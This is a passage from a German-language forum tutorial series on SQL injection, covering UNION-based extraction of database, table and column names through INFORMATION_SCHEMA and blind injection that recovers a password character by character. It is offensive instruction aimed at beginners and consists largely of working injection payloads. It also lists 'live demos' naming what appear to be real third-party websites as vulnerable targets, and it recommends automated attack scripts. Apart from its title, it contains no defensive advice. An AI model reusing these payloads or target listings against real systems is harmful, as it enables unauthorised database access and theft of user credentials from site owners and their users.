      Bis ~ 180 kommen tabellen von INFORMATION_SCHEMA welche uninteressant sind, ab ~ Limit 180 werden uns die Daten von anderen DBs ausgegeben, welche dann fuer uns auch interessant sind. Zuerst zum LIMIT, was bewirkt das? Das LIMIT waehlt den Datensabsatz/Reihe aus, welche ausgelesen werden soll. 0,1 bzw 1,1 waere der erste Datensatz, 2,1 waere der zweite usw..

      Nun wird uns ausgegeben:

      Datenbankname:tabellenname:spaltenname

      Wichtig: Ihr muesst beachten, wenn mehrere Datenbanken sich auf dem Server befinden, muessen wir die richtige DB im FROM Statement mit einem Punkt auswaehlen. Das heißt, wenn die DB lol heißt und die Tabelle users dann sieht das so aus:

      ... FROM lol.users...

      Daher haben wir hier auch INFROMATION_SCHEMA.COLUMNS genommen, da in der Tabelle Columns man DB name, tabellen name und column name auslesen kann, ist manchmal sehr wichtig.

      Dann gehen wir das Limit durch, wenn ihr nun irgendwann bei webuser:users:username bei LIMIT 301,1 und bei 302,1 webuser:users:password steht (db name is frei erfunden), dann wissen wir nun “aha die DB heißt webuser, die Tabelle heißt users und die Spalten sind username und password”. Koennt auch noch 303,1 machen usw.. irgendwann erscheint ein error (oder eine weiße seite) und dann wisst ihr, dass ihr am Ende seid und nicht weitere Tabellen mehr existieren. Ist natuerlich totaler stuss das immer eins aufzuzaehlen, ich mach das in 50er schritten. Wie gesagt, Scripts koennen hier helfen, darkc0de hat tolle Python scripts. Ansonsten einfach in Schritten weiter machen, ob ihr irgendeine tabelle mit users oder admins oder aehnliches seht und dann dort eben in 1er schritten weiter.

      Wenn wir nun unsere Daten haben, machen wir wie bei Teil 1 weiter:

      site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*

      Aufjedenfall hilft, wie ihr seht, MySQL version 5.x.x um einiges weiter, da wir hier nicht Tabellen Namen irgendwie erraten muessen ;)

      Das war nun Teil 2 von meiner Tutorial Reihe, der kuerzeste Teil, da man zu Version 5 nicht viel erzaehlen kann^^

      Hier noch schnell zwei Live Demos:
      MySQL version 4:

      wochenspiegel-saarland.de/inde…16,17,18,19,20,21,22,23/*

      MySQL version 5:

      sbcommunicationsgroup.com/medi…LUMNS/**/LIMIT/**/180,1/*

      Aufjedenfall hoffe ich, dass ihr dieses Tutorial mehr oder weniger verstanden habt und es vorallem Neulingen bzw Anfaengern geholfen hat. :)

      Teil 3 ueber Blind SQL Injections wird denk ich am Freitag folgen, da ich morgen keine Zeit habe.
      Kritik/Fehler/Fragen/Vorschlaege wie immer als Comment, danke :)




      SQLinjection Schutz Teil 3 von Unbekannt
      Spoiler anzeigen




      Heyho,

      heute werde ich euch versuchen zu erklaeren, wie man eine Blind SQL Injection durchfuehrt.

      Was ist/Wann/Warum eine Blind SQL Injection?
      Nach “Blind SQL Injection” Methode geht man normal dann vor, wenn man keine Ausgabe hat, die MySQL Version 3 ist, oder auf dem Server “UNION” aus welchem Grund auch immer nicht verfuegbar ist. Meistens jedoch wenn keine Ausgabe da ist. Bei einer Blind SQL Injection geht man normal so vor, dass man den Server quasi eine Frage stellt und dieser kann nur JA oder NEIN (True/False) antworten. Eine Blind SQL Injection dauert normal verdammt lange, wenn man das per Hand macht. Scripts helfen auch hierbei wieder. Was man sich auch noch merken kann/sollte: Eine Blind SQL Injection ist normal auch immer dann moeglich, wenn eine normale SQL Injection moeglich ist, umgekehrt jedoch nicht.

      Fangen wir auch gleich an… wieder mit and 1 = 0 und and 1 = 1 um zu testen wie/ob der server auf True/False statements reagiert. Wenn ja ist aufjedenfall ne Blind SQL Injection moeglich.

      site.de/news.php?id=5 and 1 = 0

      Wichtig: Die ID muss gueltig bleiben, kein minus oder aehnliches davor. Nun sollte unser Inhalt fehlerhaft dargestellt werden bzw etwas fehlen. Dann testen wir ein True Statement:

      site.de/news.php?id=5 and 1 = 1

      Nun sollte die Page normal angezeigt werden ohne Fehler. Sollte sich von 1 = 0 und 1 = 1 der Inhalt bzw die Seite sich kaum aendern testet es mit einem hochkomma ‘ hinter der 5. Wenn sich dann nichts aendert ist meistens keine Blind SQL Injection moeglich (gibt auch noch moeglichkeit and ‘1' = ‘0' zu verwenden..)

      So wir gehen davon aus, dass unsere Page verwundbar ist. Fangen wir nun richtig an ;)

      1) MySQL Version herrausfinden

      Funktioniert wie bei einer normalen SQL Injection, verwendet wird version() oder @@version.

      Nur arbeitet man hier mit SUBSTRING, dass heißt das nur ein Teil von einem String ausgegeben wird. Weiteres dazu ? Google ;)

      site.de/news.php?id=5 and SUBSTRING(version(),1,1)=5

      /* bzw. – wird normal nicht mehr benoetigt, da es das andere Query nicht groß stoert.

      SUBSTRING(version() ? fragt nach der MySQL Version
      ,1,1 ? ab dem ersten Zeichen mit der Laenge 1
      =5 ? fragt ob die MySQL Version mit 5 beginnt

      Fraegt quasi:
      … id=5 und “der erste Buchstabe der Version() faengt mit 5 an”.

      Wenn dort nun die Page richtig angezeigt wird, dann ist es MySQL v5. Wenn nun die Page falsch angezeigt wird, probiert =4
      Nun sollte die Page richtig geladen werden, da eins der beiden Statements true ist. Wenn nich probiert =3, hatte ich schon paar mal, jedoch ist das selten.

      2) Blind SQL Injection durchfuehren

      Da wir per SUBSTRING arbeiten, brauchen wir auch kein UNION.

      Es gibt verschiedene Wege herauszufinden, welche Tabellen und columns existieren. Jedoch da eine Blind SQL Injection ist, bringt uns das nicht arg viel, da nur TRUE/FALSE ausgegeben wird. Außer es ist MySQL 5 wegen der DB INFORMATION_SCHEMA. Klar, wenn man das gut kann, kann man auch Befehle wie LIKE usw. anwenden und so schauen was fuer Tabellen existieren, jedoch zeige ich euch einen Weg der stark an MySQL v4 Methode erinnert, und zwar – raten ;)

      Ist aehnlich wie ein normales SQL Injections Query nur muessen wir fragen, ob es stimmt, was wir angeben.

      Pruefen koennen wir das mithilfe von ASCII. Mehr zu ASCII + Tabelle: de.wikipedia.org/wiki/ASCII-Tabelle

      Wir gehen nun davon aus, dass wir wissen wie die Tabellen und Spalten sind. Wie man das rausfindet, raten oder eben Scripts verwenden, darkc0de.com hat gute Python Scripts was Blind SQL Injections angeht, bei bedarf lad ichs auch schnell hoch. Vorallem mit MySQL 5 kommt dieses Script super zurecht. So nun wollen wir anfangen, im normallfall geht man immer Buchstabe fuer Buchstabe vor:

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>80

      Erklaerung:
      and ASCII( ? Nach dem ASCII wert wird gefragt
      SUBSTRNG( ? wird wieder Substring angewendet
      (SELECT ? wird eine klammer benutzt
      SELECT password FROM users ? wird wieder normal nach dem password aus der Tabelle `users`
      limit 0,1) ? Wird nach der aller ersten Zeile gefragt + Query geschlossen
      ,1,1) ? 1 Zeichen, 1 Laenge
      )>80 ? Ob die ERSTE stelle des PW einen ASCII wert hat der GrOEßER ist als 80

      Wenn nun die Page richtig angezeigt wird, dann ist der ASCII wert groeßer als 80.. weiter testen..

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>90

      Nun wird die Page fehlerhaft angezeigt, bzw. der Inhalt ist nicht ganz zu sehen, also ist das Statement falsch. Der ASCII Wert von der ersten Stelle des Pws is also kleiner als 90.. probieren wir 85

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>85

      True..

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>86

      False. Also ist der ASCII wert NICHT GrOEßER als 86 sondern = 86. Testen koennt ihr das mit

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))=86

      Wenn nun der Inhalt richtig angezeigt wird, ist der ASCII Wert 86.

      Also erste Stelle des PW, schauen wir auf unserer ASCII-Tabelle nach..
      86 – V
      Also beginnt unser PW mit einem großen V

      Nun die zweite Stelle des Pws.. ),2,1) Da nach der Zweiten Stelle gefragt wird.. sieht etwa so aus:

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>90

      False.

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>80

      False.

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>50

      True.

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>52

      False

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))=52

      True.

      Also ist der ASCII wert 52. ? 4 laut unserer ASCII Tabelle.

      Also sieht unser PW bis jetzt so aus: V4

      Nun ),3,1).. usw.. ich denke ihr wisst nun wie ;)

      Das macht ihr solange bis

      site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),XX,1))>1

      False ist.

      Klar gibt’s fuer so was auch wieder nen Skript (darkc0de.com), welches das alles erleichtert. Aber echte Inject0r machen das per Hand =D

      So das war nun mein Tutorial ueber Blind SQL Injections, ich hoffe das man es verstehen konnte, und ja, im vorerst letzten Teil der SQL Injection Tutorial Reihe gehen wir auf Schritte bei einer SQL Injection ein, die man als Anfaenger nicht zu wissen braucht.

      Auch werde ich dort nen paar sinnvolle und gute links & Tutorials von anderen Leuten zeigen. :)

      [progressbar=2]Fulcrum[/progressbar]
      Also entweder hat er ne Glühbirne im Arsch oder sein Darm hat ne gute Idee